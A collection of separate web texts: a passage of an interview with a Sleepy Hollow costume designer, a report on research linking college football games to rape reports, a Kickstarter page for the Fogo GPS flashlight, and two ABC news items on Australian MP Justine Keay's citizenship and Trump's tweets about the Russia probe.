thinking their parents were going to pick them up in a couple days, and of course they never were, and the parent couldn’t read or write, so the kids just had a scrap of fabric with them as the only totem of their parent. It’s fucking heartbreaking. So this show has taught me a lot. I love the research and I would do that anyway, but it’s really broadened my understanding of what life was like then, beyond just the technical details of what battle happened and who died when and who was elected. The breadth of the experience of life back then was so harsh. You could have ten kids and three would survive. That kind of thing. And as a woman, oh my God, it was a rough, rough thing. H: There are a lot of modern comforts, like the mighty tampon, that they would have loved to have. KB: I was thinking about that yesterday! Like, what do you do? Even in my Mom’s era, where it was hook-on belts. Disgusto! We are so fortunate to be living in the modern day of adhesives, ladies. H: I also love that you never said the word “Wikipedia.” KB: With Wikipedia… I mean, I taught at UCLA, and when I said to them that we’d be doing a research project, these kids brought in pictures of Mad Men. I’m like, that is NOT RESEARCH. It’s the Cliffs Notes version of research. You have to really explain to people what is legitimate research and what is not. Wikipedia in my opinion is not legitimate research. J: What did you teach at UCLA? KB: Costume design. For part of my class, I asked the kids to watch a movie every week and write a paper about the costumes, and interpret the costumes and tell me what they’re about. And I would empty out red sharpies all over these papers, like, “Listen guys, our job is about communication. If you cannot communicate points clearly, no one will hire you.” And I mean, I was really harsh with these kids, but they needed to know the reality. It’s not just about what you know. From a practical level, if you go to a meeting, and you can’t be direct and simple in describing your vision, no one will hire you. H: And I’m sure Wikipedia exacerbates the issue. It’s definitely “I’m sitting at my desk taking a short cut.” Which I freely admit is what I have used it for. I think it’s fabulous that, as someone who’s busy, you still chose to take the longer road here. KB: Well, let me tell you, it’s so addictive once you get into that kind of research because you just want more and more and more. I got Amazon Prime on this job. That’s how bad it is. I vowed I would never do Amazon Prime, and now I’m like… [mimics tapping her arm and injecting a fix]. H: What was the toughest thing you had to source? KB: Everything, honestly. God bless Wilmington, but you cannot buy a yard of silk here. So when we’re tasked with doing something like an eighteenth-century fancy party ball, we have to call in all of our resources. We call our costume houses in England, we call costume houses in Italy, we call specialty venues in Los Angeles, we call fabric stores, we call notions people. Whatever we can do, all hands on deck. We bust our balls. And that is a challenge because it’s not just one week, it’s a LOT of weeks. Week after week, we’re trying to do this. It’s hard. It’s hard. H: Which is tougher to find, the basic fabrics or the notions? KB: The thing is that when we make something, usually we need multiples, and if we need multiples of a vest, a vest has twelve buttons. If we need to make four vests, at twelve buttons, that’s 50 buttons just so we have a few just to spare. I can’t buy five of the same button at JoAnn’s. Where am I supposed to get fifty? So we have our wonderful shopper in LA who helps us, in the fabric district, to source buttons. It’s just a logistical headache that we have to manage, and Steffany, the costume supervisor, is brilliant. Without her it would be very difficult to get anything done. I have a very strong team. I can’t emphasize that enough. H: Yes, people often think of the job in the singular – “costumer.” How big is your team and how does it divvy up? KB: There’s a union-mandated hierarchy. So it’s Costume Designer, which is me, and then Costume Supervisor, which is Steffany [Bernstein-Pratt], who takes care of the paperwork, scheduling, business angle of all of what we do. Underneath that, there’s the key costumer, who runs the truck [on-site at the main shooting location] – that person sets up for the next day, organizes everything to make sure it’s what they’re supposed to be wearing and when. And then we have set costumers, who are the ones like Julia Rusthoven, who you saw doing the fussing and fussing with each outfit. That’s how it filters down. In addition to that, we have an ager/dyer, which is also called a Breakdown Artist, that’s Julia Gombert, and then our tailor and tailoring staff, and PAs. J: That’s a big team. KB: We have ten people full-time and on big days we have as many as 20. It swells. Nobody in the eighteenth century could get dressed by themselves, everybody needs help, so we need… J: They need their valets. KB: [Affects posh accent] Yes, they need their valets. [Laughs] So it’s a huge team and I really, really fought hard to get Brad [Watson], the assistant costume designer. Because Brad and I have done five movies together over the years and he and I understand each other on a stylistic level, on a visual level… I know that if I’m not able to be there, he can be my eyes. Because his standard of what’s right is as high as mine. You cannot put a price on that. They didn’t want to bring in another person from out of town, and it’s like, “You can’t afford to? You can’t afford NOT to,” because if I’m not there because we’re shooting three units at once all over town, which has happened, I need my eyes by proxy to be on that set. And he IS my eyes. He is that person. H: In all of this, we don’t want it to get lost that there’s someone whose job day in and day out is to touch Tom Mison. K: Julia Rusthoven. She did the pilot, and he requested her back from the pilot. He’s loyal. You should talk to her! [Ed. Note: AND WE DID. It’s coming in Part II tomorrow.] H: Have you ever gotten going on something you had to make/have made, or which you’ve had to search the ends of the earth to order, only to find out closer to shooting that it’s been excised from the script and you won’t need it? If so, what happens to those pieces? KB: Yes. Oh, yes. There were early drafts of certain scripts that featured astronauts and bear suits and all kinds of nutty things. In order to be prepared, we have to pull the trigger and order those things. Later, the script changes, and the astronauts and the bear suit are gone. But by that time, of course, we already have the costumes in hand. It’s not like we can cancel or get a rebate. Once the ship has sailed, it has sailed. They basically gather sad dust at that point. H: What’s the largest number of extras you’ve had to worry about for the show? KB: Probably 125. In period stuff. In movies, I’ve done seven or eight hundred. But for this, 125 is a lot, and that’s just one scene. The timetable [of TV] makes everything a little bit more interesting. We are constantly prepping and shooting simultaneously. We get new draft revisions all the time. So the landscape is constantly shifting. There is a “schedule” to how we’re supposed to do things, but sometimes the things we need in place, whether it’s a script or an actor, are not in place, so we end up flying by the seat of our pants. I’m a frequent flyer at this point. H: Are there any particularly unusual things you’ve had to as extras during casting, to be like, “We need to know this and this and this about you”? KB: Well, it depends on the show. I’ve done a lot of shows with Native American actors, and in addition to the standards like, “What are your sizes, do you have tattoos, are you allergic to anything,” I have to ask, “Do you have any ritual scars?” And oftentimes the answer is yes. And I go, “Okay, where are they, what size are they?” Because all of that needs to be acknowledged if they’re going to have to bare their shoulders or whatever, because those scars tell a story about who the person is, so we have to be aware of that. J: I think that’s the crux of your job – you’re telling who someone is by what they’re wearing. KB: Thank you for stating that. J: And this is something we talk about on the site. When an actor is in public, at a big event, they’re making a conscious decision of the story they want to tell about themselves. KB: I talked about this a lot in a TED Talk that I did. The fact that clothing is a language, and we tell people every day who we are and what we’re about, by what we wear. J: Sometimes what I am telling people is that I’m really tired and I haven’t had any coffee yet. But if someone’s going to the Oscars and they’re not wearing pants… KB: Consider pants! J: What they’re saying might be, “I have a crazy stylist and I can’t say no.” H: But on TV it’s to the nth degree because it’s such an integral part of actual storytelling. KB: Our job is to let the audience know who this person is before they open their mouth. It’s just that simple. H: How do you do that with some of the characters? Like, say, Irving [the police captain, played by Orlando Jones]. It seems harder because they’re not as easily pinned down. KB: But Irving is like that on purpose. So there you go. And that’s all I’ll say about THAT, ladies. Wink. But the crew here, the ones who’ve known me forever [from other projects], tease me about my backstories, because I put backstory into every costume that I do. Every single one. H; So, take Irving’s daughter Macey [played by Amandla Stenberg, a.k.a. Rue in The Hunger Games]. Your backstory for her, the one that informs her visually – can come from you, or do you have to consult the writers? KB: Nope. I do it myself, and then I will talk to them if it’s very important. I’d rather make the adjustments BEFORE I get underway than AFTER. But mostly it comes from the gut. H: Have there ever been times when you made a backstory and the writers have come at you and said, “Well, ACTUALLY, you’ll need to change that because…” KB: Not really. We’re getting to be pretty symbiotic, these writers and the costume department. Jose Molina, who’s written a couple of episodes, he’s a very intense and receptive collaborator in that sense and he’ll email me and say, “Okay, what should I say about this costume if I reference it in the script?” It’s a really good collaboration and it goes both ways. H: People may think you can just go out and buy whatever’s cute right now and stick it on Amandla, but there’s always a motive behind it. KB: It was necessary to work with Amandla’s look — her awesome curly hair, her sweet, heart-shaped face – and I needed to be careful to keep it young, bohemian, and friendly. This is, after all, a New York City girl with some style — but you don’t want to over-design her. It’s not the point of the character. This is where contemporary design gets tricky. You have to resist the urge to make it all about the costumes. Mostly, I link her visually to Jenny [Abbie’s sister] a lot, because first of all everyone’s speculating that Jenny and Irving are going to get together, which is not entirely unlike the tension that Amandla has with her dad for the fact that he’s not there all the time. So it’s all relationship tension. And also, if Irving’s not careful, Amandla will end up like Jenny. Because in episode 110 [ed: It aired last week, as 111; in production, they count the pilot as episode zero, but TV listings count it as one], Amandla has some experiences that Jenny had when Jenny was a child, that could definitely push her in that direction. J: STAY OUT OF THE WOODS AMANDLA. Woods are never a good idea. KB: So looking down the long road of that character, early on I decided to kind of push some of it a little, visually. H: Let’s get into some of the other aesthetics. Ichabod’s would seem obvious, but there are probably ways you have to be careful about how you dress him, so it’d be fun to hear about how you approach it. Starting with his coat. Obviously, lots of crazy stuff happens to him in that coat. How many copies do you have? KB: For the pilot, they made four coats. Two of them were for the revolution scenes, so they were clean, and then one of them was for post-unearthing [when Ichabod lives in present-day]. The fourth one, they had used for stunts for post-unearthing, but then they used it for the actual unearthing [from his grave], which was the last thing they needed to shoot, and so it was covered in white shit. We couldn’t keep using it like that. We had to take the one that was covered in white shit, clean it off, make it into a double for his main post-unearthing coats, and then fabricate four or five new ones to use. But the fabric didn’t exist anymore and the buttons didn’t exist anymore, and we had to source that stuff. It was… tough. But ultimately we had to do it. We didn’t have a choice. J: He has to have a coat. KB: He has to have a coat. We also had to make more breeches, more shirts, it was a whole thing. His boots were custom-made. We had to make four more pair of boots, and they’re like… really expensive, it’s like $1200 a pop to make the boots. So we were living with that for a while. But it’s beautiful stuff, and for what it’s worth I’m really glad, because now I know all of Sanja’s vendors. There are times when you get a good endorsement for a vendor and it doesn’t work out, but I made a lot of great new contacts on this show – I have learned a lot from some brilliant artists. J: What about anachronisms? How careful do you have to be? For example, you can’t just choose any old fabric for Ichabod’s breeches and things. KB: I am a serious fabric nazi. I keep a huge box of swatches under my desk, and I have a number of books about fabrics, like the history, different weaves, fibers, et cetera, that I consult when I’m feeling like we’re not hitting the mark. Because all of our fabric is sourced in LA, it’s important that Janet, our lead person there, shares with me a common language of fabric. We’ve compiled a huge fabric dictionary on this show. I will never, ever use synthetic fabrics on anyone in a period sequence. It looks cheap, and it’s unacceptable. It destroys the suspension of disbelief. I DID mention I’m a fabric nazi, right? So far I feel like our fans are SO into it, they are so forgiving, they just do not… they just want more of what we’re selling, you know? It’s amazing. J: That’s because you did a good job in the first place. H: And you have a hell of a salesman. You could claim he’s wearing a Revolutionary War-era fur loincloth, which is not a real thing, and people probably would be like, “Welllllll… let’s just go with it.” There’s a cool way Tom Mison [Ichabod] walks around — somehow the way he carries it, you almost believe people wouldn’t look at him on the street and think, “What the HELL is that dude wearing?” They would think, “That hot man is working that coat.” KB: Exactly. Tom is a guy who makes everything look good. He’s in great shape. But as far as his basic stuff, his hero look, we were locked into that from the pilot. And that’s all he’s worn this season, really. Until this episode. You’ll see. Then we just kind of instinctively followed the vibe of his character. It’s hard to verbalize, but you feel it and you know what it looks like and there it is. H: We promised we wouldn’t ask about whether you’re putting Ichabod in modern clothes, because that’s been addressed already in a few places. KB: You’ll see how we did it. It’s clever. He’s in new clothes, but not new clothes. New to him. J: Someone did ask us about Katrina [Katia Winter, as Ichabod’s purgatory-bound wife/witch] being a Quaker and then a society lady. KB: Those are decisions that are made with the creative narrative landscape of this television show, of which I am not a part. H: And it’s not like you’re calling up the writers and saying, “Hey, I know, write a ball gown scene for her, because I want to do one!” How much collaboration is there with the writers, in either direction? KB: In this episode that we’re shooting right now, there was quite a lot of dialogue about costumes. QUITE a lot. And the writers aren’t costume historians. So I emailed them and I said, “I don’t mean to get in your business, but here’s what you said, and here’s the right way to say it,” and they corrected it. I don’t want to get in the way, but it’s my job to know that stuff. J: How much latitude do you have with the clothes? Does everyone have to sign off on everything, or do you have freedom? KB: My previous experience in television was this: An actor needs a necktie. I set out a table with 150 neckties, everyone comes in, and they cannot agree on one. But that doesn’t happen on this show. I told them that story in my meeting, and I said, “This is why I don’t do TV, because I can’t get a decision out of anybody,” and they were like, “Rest assured that will not happen here.” But a lot of the time, honestly, it’s like, you know what these people should look like. For example, Irving [Orlando Jones]. He has a grey suit, a darker grey suit, an EVEN DARKER grey suit, and a black suit, and a navy suit, and a textured suit, and shirts and ties. And somewhere in there, we’re going to have Irving. They’re not in my face about it, which is really nice, and something I never expected. Because my experience had been so contrary to that reality. I’m very grateful that they trust me, and that they understand that I’m there to make the show look good. I’m VERY grateful. Because not everybody who does television or film for that matter has that luxury. H: I think in any situation, sometimes people forget you’re all on the same team. KB: Also, sometimes, and it happens on film as well, people who are in positions of producer on some level feel the need to justify their positions, and if justifying their positions means urinating all over your department to make their mark, that’s what they will do. And that’s unfortunate. J: When we were in reality television, there would be times you’d send in your cut and you’d get notes back, and you’d be like, “These notes are just this exec justifying having their job.” KB: And that is a point that cannot be too strongly made. Because it’s ridiculous. [Holds up tape recorder to her mouth.] And all of us see through your shenanigans, wiseguys. I’m serious. [Laughs] H: It’s almost amazing you haven’t had that experience on this show, because Sleepy Hollow was FOX’s first success this year. KB: You think so? H: It was the first pickup of the season for any network, I believe. KB: We don’t see or hear any of this. We go to work, we come home, we sleep, we do it over again. J: All the podcasts I listen to are obsessed with it. KB: Bigger than The Blacklist, ladies? J: The quality is better. Blacklist might be getting better ratings. H: With Sleepy Hollow, fans are more immersed. They’re ‘shipping characters and pairings and enjoying the mythology. About Blacklist, I hear more people saying, “I love James Spader, but man, Megan Boone’s wig is bad.” KB: I haven’t seen it. The girl who plays against James Spader wears a wig? H: She has a short haircut, which I believe they are making her grow out. J: She plays an FBI agent! She’d totally have a cute short cut. H: And they’re all defensive about how often people make fun of this shitty, shitty wig, but the reason I think people pay so much attention to the shitty shitty wig is that the performance is not great, and so then you’re like, “Well, I don’t have a lot else to latch onto here, so my eyes are wandering to your shitty shitty wig.” KB: Shitty Shitty Wig Wig. H: It’s funny how that can take you out of the experience. KB: Hair is at least 40 percent of the overall look of somebody. Hair tells you who somebody is, just as much as the costume does. If the hair is wrong, the costume is not going to work. H: Do you do the wigs, or does hair handle that? KB: Hair does the wigs. Ultimately we as costume designers have to oversee the look of the person because we get on the job before the hair person does, and so we have to plan before they do, and all of the stuff that we do takes longer to do than the hair. So I will send the hair department research, like, “Here’s the bus, climb on board.” We do our job a hundred percent; if [in general] any department comes in at 60 then it’ll look like shit no matter how well I’ve done my job. So we try to communicate and collaborate as much as we possibly can — it’s a team effort. H: Like on Blacklist, there’s other work going into it that you’re not seeing, because all you can see is That Wig. But when it’s seamless, like with Ichabod, you can notice all the other things that are great about his overall look. KB: Today was another great example. The people you saw [ed note: more on this in part two tomorrow], I hadn’t seen those wigs yet, and they worked so well, and so overall those guys looked fantastic. You want actors to feel empowered to do their best work. And when we do all the research and people — no matter who they are or what department they’re in — don’t treat the material with the same respect of level of authenticity it deserves, it can be frustrating. At some level you just have to let go. You can’t control everything, so you have to trust that it will end well, and that you’ve done your job. And I know that works in both directions. H: You mentioned offhandedly, “I’ve done a lot of purgatory work.” Is that an actual thing? Purgatory work? What are the rules? KB: It IS a thing! And purgatory [on Sleepy Hollow] for me is like The Further from Insidious. It’s essentially the same thing. What you’re in when you enter purgatory or The Further is what you STAY in. There is no changing of clothing. You become an avatar. Once you get in there, you’re locked into what you’re wearing. H: So you probably have to be pretty careful what people happen to be wearing when they die. You don’t want to plan for someone to be wearing neon green or pink if they’re going to be stuck in the netherworld in it. KB: Or anything shapeless. Yeah, all these considerations go into that decision, because, say, in Insidious, for the kid wearing his pajamas to go into The Further, he’s going to have to do stunts, all kinds of crazy shit happens, so we have to make sure what he’s wearing can accommodate stunt pads or whatever. There are a ton of practical considerations. H: And do you try to keep them in grey, black, or white? KB: We try to drain them of color as they are drained of life. That’s what we try to do. And anyone who enters purgatory who has life in them has a little bit more color. So, who’s NOT dead, perhaps. And certainly as in Insidious, you can’t really apply the same rules to every job, but in Insidious it’s a lot more extreme. The people who are all alive in The Further will tell you that by the colors they’re wearing. H: Do you find yourself watching movies with a costumer’s eye? Take a movie like The Sixth Sense. Can you guess the twists by what the costumes are? KB: I did. When I watched it, within thirty minutes I got the twist. But I mean, these are the tricks. When I watch a movie, I watch it like dailies. There’s no way for me to get over that. I can’t turn it off. As beautiful a movie as it is, watching 12 Years A Slave, all I could think about in the crowd scenes, was, “Okay, I can see these people coming out of the changing tent, getting dusted up,” and I just knew what they did to achieve that, and that’s all I could think about. It’s very distracting sometimes. An occupational hazard. H: What are the best little tools of the trade, or magic tricks, that you can do? KB: There are so many things. It’s just an endless list. Like a rubber band around the button that goes through the button hole that expands a collar, so that some guy who lied about his sizes can wear the shirt that we bought him that was the size he told us he was. [Laughs] J: Never lie to a costumer. KB: Right? I’m not sure it’s lying, really. People don’t always take their measurements that often, or it’s just wishful thinking, or they buy stuff that’s vanity sized and don’t pay attention. H: I read a lot about people talking about interpretive costuming. Like on Scandal, Olivia is in black or white or grey, usually telegraphing her function in a scene or her emotional state. Is that a tool you use too? KB: Absolutely. You’ll see a lot of that in Irving. When he has some big things happening, watch what his colors do, because I have planned that. Irving faces some crazy bad horrible situation that he has to reconcile, and he makes some decisions. That’s all I can say. H: I had a follow-up question but I got all worried about Irving just now. KB: You’ll see. [Part two, discussing Abbie’s leather jackets, Victor Garber, Ben Franklin, and the logistics of ball gowns, can be found here.] |
Game days at big college football schools cause an increase in reports of rape, according to a paper from the American Economic Journal: Applied Economics . The study cross-referenced college game schedules at 96 Division I football schools with reports of rape, collected as part of broad FBI statistics. After analyzing that data, the authors estimate that games at just the schools in Division 1A, the most elite level of college football, resulted in more than 700 additional rapes each year. “We hypothesize that college football games increase rapes primarily because of their role in campus social life, specifically the college party culture,” wrote the authors of the paper, economists from Texas A&M University, Montana State University, and the University of Wollongong in Australia. After creating a database that included more than 40,000 Saturdays without football games and more than 17,000 game days, the authors compared the number of reports of rape during weeks without football games to weeks with football games. The results were stark. The authors found “significant and robust evidence” that football game days raised the number of reports of rape by 28 percent for women between the ages of 17 and 24. The uptick was even greater for home games, which increased reports of rape by 41 percent. Away games resulted in an increase of 15 percent. The findings of the paper are consistent with other analyses, such as a 2009 paper that found college football games led to an increase in assaults and vandalism. Predictably, alcohol consumption plays a role in the uptick in rape reports on game days. Some 20 percent of the reports involving college-age individuals specify that the perpetrators were under the influence of alcohol. The paper, however, suggests that percentage likely underestimates alcohol involvement in these incidents. (Separate survey data often indicates alcohol involvement in the majority of cases.) Likewise, the authors note that their data only capture reports of rape and likely understates the actual number of rapes. One large-scale study found that only 12 percent of college women who are raped report it to law enforcement. Using that figure on unde-reporting, the authors of the paper estimate that activities surrounding college football at the 128 top football schools — defined as schools in Division 1A — result in 724 additional rapes per year. The findings of the paper suggest a range of potential responses from universities, said Isaac Swensen, an assistant professor of economics at Montana State University, and a co-author of the study. Colleges should consider efforts to tamp down on big spikes in partying associated with big games, as well as investing in bystander prevention training for students . “One could think that, if universities were inclined, that some of the football revenues could be set aside for sexual assault prevention and treatment to offset some of the negative effects that we document in this work,” Swensen said. |
About Meet Fogo, the only gadget that includes GPS, bluetooth, digital voice messaging, USB backup battery, and a powerful LED flashlight. Whether you're biking or hiking, fishing or hunting, navigating or camping, the Fogo keeps you safe and lightens your load! Engadget: “Ordinarily, the term ‘smart flashlight’ would make me cringe as much as the next person, but having seen the Fogo flashlight first-hand, I'm sold.” Techcrunch: “Fogo has a fun vision to take a standard consumer device, and pack it full of intelligence and capability.” Outside Magazine: "Don’t be fooled: The Fogo, with its 1,000-lumen LED bulb, looks like your average flashlight, but there's so much more hiding under its sleek, waterproof exterior." GearJunkie: "The Fogo is unlike anything we’ve seen. It stood out as an innovation and a great idea with potential to minimize the number of gadgets you need to bring along." Gearcaster: “The ultimate outdoor gadget you never knew you wanted.” The Fogo was built to get you off the beaten path and keep you safe while exploring. With GPS tracking and waypoint navigation, the Fogo can be your guide as you blaze a new trail. Load points of interest from your smartphone via Bluetooth or USB and see everything the outdoors has to offer you, while the built in pedometer keeps track of every step you take. When you get there, communicate with other Fogo users via text or voice messaging. Don't worry if the real world comes calling, the Fogo has enough power to recharge your phone and still light the way home with its 1000 lumen flashlight. Uphill, downhill, or cross country, the Fogo was made to ride. With the Fogo you can track your speed, distance and elevation, as well as integrate data from bluetooth heart rate monitors or cadence sensors to have a complete overview of your ride. With automatic crash detection and automated location sharing, the Fogo helps to keep you safe on your journey. You can even ride into the night using the Fogo's automatic light control, which will adjust the brightness based on daylight, speed and battery charge. The Fogo is a full bicycle computer. We will have two bicycle mount adapters available for pre-order on our website after the Kickstarter campaign: one that is compatible with the Garmin mounting system and one that is compatible with the GoPro mounting system. This allows you to take advantage of the many mounting options available for these two systems. Whether you're at the campsite or on the hunt, the Fogo is there for you. You can keep track of your friends, mark points of interest, and communicate via walkie-talkie. Stopping for the night? Fogo's move-to-turn-on feature makes it easy to find when rummaging through a dark tent. When you're on an adventure, space and weight are precious. That's why the Fogo was designed to be as feature complete as possible, so you can save room in your bag and stay safe on the trail. Fogo Feature Summary: GPS Receiver Flashlight USB Backup Battery App Based OS Bluetooth LE (aka Bluetooth Smart) Motion Tracker/Pedometer (Accelerometer) Backlit LCD Screen Ambient Light Sensor Digital Compass (Magnetometer) Bicycle Computer (Speed, Elevation, Odometer, Bluetooth Sensors) Rechargeable, Field-Replaceable Batteries SmartCap Interface (USB/UART/5V Power) Clock/Calendar/Alarm 128MB built-in Flash storage Digital Walkie Talkie SmartCap Feature Summary: Send/Receive Text Messages Real-time Voice Communications Digital Voice Messaging Built-in Microphone and Speaker SmartCap Interface: The Fogo USB connector functions as an expansion port, allowing you to add hardware to the Fogo. We are launching the Fogo with the Digital Walkie-Talkie SmartCap which allows you to communicate with other Fogo users via voice or text. The Digital Walkie-Talkie SmartCap will also be available for pre-order after Kickstarter for those that don’t choose it with their initial order. In addition, we will have a Satellite modem SmartCap available next year and are also working on an Avalanche Beacon SmartCap and a Laser Range Finder SmartCap. Bonus Features In addition to the convenience of having it all in one device, combining a GPS receiver, flashlight and walkie-talkie allows you to do things you couldn’t do before. Here are some examples of a few of the applications. Crash Detection: If the Fogo detects forces consistent with a crash or fall, it will bring up an alert on the screen and ask you if you need help. If you do not respond to the alert before a timer expires, Fogo will send a radio message alerting your friends of your plight. Blink When Bumped: The Fogo can be set to blink when bumped, making it easy to find in a dark tent. Adaptive Lighting: Fogo uses its sensors to intelligently adjust the flashlight brightness. For instance, the Fogo will automatically set the light to low beam when pointed at the ground in front of you and high beam when pointed at distance objects. In addition, the Fogo can automatically adjust the brightness based on ambient lighting conditions or speed - low beam for low speed/good ambient light or high beam for high speed/poor ambient light. You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with sound 00:00 00:00 Blink to Get Back on Track: When hiking to your destination or next waypoint, the Fogo will blink the light if you stray from your intended path. Advanced Power Management: Fogo has a fuel gauge that will tell you how much battery life you have left. You can also set an estimated trip duration and the Fogo will adjust the light brightness, and it’s electronics settings to make sure you have just the right amount of battery power to finish your journey. Emergency Beacon: Fogo can be set as an autonomous emergency beacon, flashing the light periodically to flag down help. The software will automatically adjust the brightness and frequency based on lighting conditions and battery power to maximize the battery life. Text Over Fogo: The Fogo can be used to send and receive text messages from your cell phone when you are out of range. This feature requires the walkie-talkie SmartCap and will require a software upgrade and smartphone app, both available next year. More to come: Since we are releasing an SDK so that anyone can create apps, this is just the beginning of many, many awesome features that will come to the Fogo. The Fogo Note: The LCD bezel shown on the prototype is stainless steel, but the production LCD bezel will be a black high strength polymer alloy. Digital Walkie-Talkie SmartCap Accessories The following accessories will be available for pre-order following the Kickstarter campaign. The pricing below will be for backers only. Go Pro Mounting Adapter: $3 USD Garmin Edge Mounting Adapter: $3 USD Belt/Backpack Clip: $5 USD Lanyard: $2 USD Fogo Hub The Fogo Hub allows you to browse and install apps on your Fogo using USB or Bluetooth. Runs on Mac/Windows/iOS/Android. OS You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with sound 00:00 00:00 Fogo has an upgradeable OS capable of running apps developed using the Fogo SDK. The OS handles all of the complicated processing in order to provide a simple, easy-to-learn API. Apps The Fogo is completely app driven. We talk about a few Fogo apps here, but the possibilities are endless. Flashlight App The flashlight app provides a simple, highly configurable way to control the light: low, med, high, and strobe. You can enable/disable as well as set the power output for each mode using the in-app menu. Flashlight App Screen Shots Track App The tracking app lets you hit the trail and track your performance using GPS. You can also keep track of the data from any incoming bluetooth sensors--great news if you are watching that heart rate. With the walkie-talkie smart-cap, you can also get real-time updates from nearby Fogo users. Track App Screen Shots Messenger App The messaging app uses the digital radio to send voice/text messages to Fogo users in your vicinity. Available users will show up in your active contacts list so that you can send messages or connect using push-to-talk. You can also see where other users are and share your location. Messenger and Clock App Screen Shots Fuelgauge App You can keep close tabs on your battery life with the Fuelgauge App. Fuel Gauge App Screen Shots Maps App The maps app allows you to explore points of interest, trails, and generally see where you are. Maps Screen Shots (Still, Zoom, Pan, Pan Details) SDK The Fogo SDK allows anyone to create apps for the Fogo. Apps are written in C++ and can be developed, debugged and distributed using the Fogo Hub. Connect with us on LinkedIn! Dustin Bouch Tyler Gilbert Larry Larson |
MP Justine Keay insists no need for her citizenship to be tested in High Court Updated Tasmanian Labor MP Justine Keay has dismissed calls for her citizenship status to be referred to the High Court as "stupid". Ms Keay was still a British citizen on election night last year, but argued she took all reasonable steps to renounce her dual allegiance. Tasmanian Liberal power broker Eric Abetz is on her case, pushing for her eligibility to be tested by the High Court. Senator Abetz said he believed Ms Keay was ineligible. If the High Court agreed it would force a by-election in Braddon. Ms Keay showed Fairfax Media documents proving her claims but has not released them publicly. "I'm not going to refer myself, I can't — the Parliament needs to," Ms Keay told ABC Radio Hobart. "I've received a lot of legal advice that clears me. "There is no doubt. It would just be stupid for me to be referred to the High Court." But that was not good enough for Senator Abetz. "Ms Keay should be referred to the High Court and if, as Labor keeps saying, she is confident in her legal advice, then Ms Keay has nothing to worry about," he said. "It is deeply disappointing that while Coalition MPs, and even Senator Lambie, have acted in an honourable way by being fully transparent, Ms Keay has had to be forced out." Ms Keay said she would participate fully in whatever parliamentary process to determine the status of MPs was decided on. Likening Turnbull to dictator 'sad nonsense' Prime Minister Malcolm Turnbull and Opposition Leader Bill Shorten are exchanging letters on how and when MPs should prove their citizenship status. Mr Turnbull has said if a process could not be agreed on, all cases in doubt should go to the High Court. Ms Keay said that was bully behaviour. "If Malcolm Turnbull is threatening to refer his political opponents to the High Court then that's the stuff of a desperate tin-pot dictator," Ms Keay said. "I will release my documents publicly through a parliamentary process. "I have absolutely nothing to hide and I have been cleared time and time again." Ms Keay said the process should be "robust and transparent". "We need to instil confidence back to the Parliament." Senator Abetz said Ms Keay's comments were nonsense. "To try to suggest that Malcolm Turnbull referring her and others to the High Court is like a tin-pot dictator is just sad nonsense and obfuscation when you realise that Malcolm Turnbull voted to refer Barnaby Joyce, his very own deputy Prime Minister, to the High Court to have this resolved," he said. Topics: government-and-politics, elections, federal-elections, federal-parliament, political-parties, tas, australia First posted |
Donald Trump unleashes Twitter fury in wake of reported charges in Russian investigation Updated Donald Trump has described the probe into alleged Russian meddling in the 2016 US presidential election as a "witch hunt", amid reports the first charges in the criminal investigation could be laid as early as today. Key points: The outburst follows reports that charges in the Russia probe have been approved Mr Trump tweets for someone to "DO SOMETHING!" about the "phony" probe Intelligence agencies have already confirmed Russia meddled in the 2016 election "All of this 'Russia' talk right when the Republicans are making their big push for historic Tax Cuts & Reform. Is this coincidental? NOT!," Mr Trump wrote on Twitter. He added that Democrats are using the Russian "witch hunt" for "evil politics", while adding that Republicans are "fighting back like never before". Mr Trump's latest tweets follow reports over the weekend that a federal grand jury in Washington had approved the first charges in the criminal investigation led by special counsel Robert Mueller. The indictment was sealed under orders from a federal judge, but has been reported by US media outlets citing sources who said they had been briefed on the matter. It was not clear what the charges were or who the target was, with reports adding the indictment could be unsealed as early as today. In his latest Twitter outburst, Mr Trump again raised accusations based on reports from last week that Mrs Clinton's campaign and the Democrats helped fund a shocking dossier that contained salacious material about the US President, while also raising other accusations against the Clintons. "Never seen such Republican ANGER & UNITY as I have concerning the lack of investigation on Clinton made Fake Dossier (now $12,000,000?), the Uranium to Russia deal, the 33,000 plus deleted Emails, the Comey fix and so much more," he wrote. "Instead they look at phony Trump/Russia 'collusion,' which doesn't exist. "The Dems are using this terrible (and bad for our country) Witch Hunt for evil politics, but the R's [Republicans] are now fighting back like never before. "There is so much GUILT by Democrats/Clinton, and now the facts are pouring out. DO SOMETHING!" US intelligence agencies have already concluded that Russia interfered in the election to try to help Mr Trump defeat Mrs Clinton through a campaign of hacking, and disseminating propaganda via social media to discredit her campaign. Mr Trump denied allegations his campaign colluded with Russians and condemned investigations into the matter. The Kremlin has also denied the allegations. The special counsel's investigation also includes an effort to determine whether the President or any of his aides tried to obstruct justice. Money laundering, financial crimes points of interest Mr Mueller, a former director of the Federal Bureau of Investigation, has been looking into possible links between Trump aides and foreign governments, as well as potential money laundering, tax evasion and other financial crimes, according to sources familiar with the probe. He also is exploring whether Mr Trump or his aides have tried to obstruct the investigation. Mr Mueller was appointed to lead the investigation a week after Mr Trump's May 9 firing of FBI Director James Comey, who was heading a federal probe into possible collusion with Russia. Investigators have interviewed former White House chief of staff Reince Priebus, former spokesman Sean Spicer and other current and former White House and campaign officials. In July, FBI agents raided the Virginia home of Mr Trump's former campaign manager Paul Manafort, whose financial and real estate dealings and prior work for a pro-Russian political party in Ukraine are being investigated by Mr Mueller's team. Mr Mueller also has investigated Michael Flynn, an adviser to Mr Trump's campaign and later his national security adviser. ABC/Wires Topics: world-politics, donald-trump, united-states First posted |
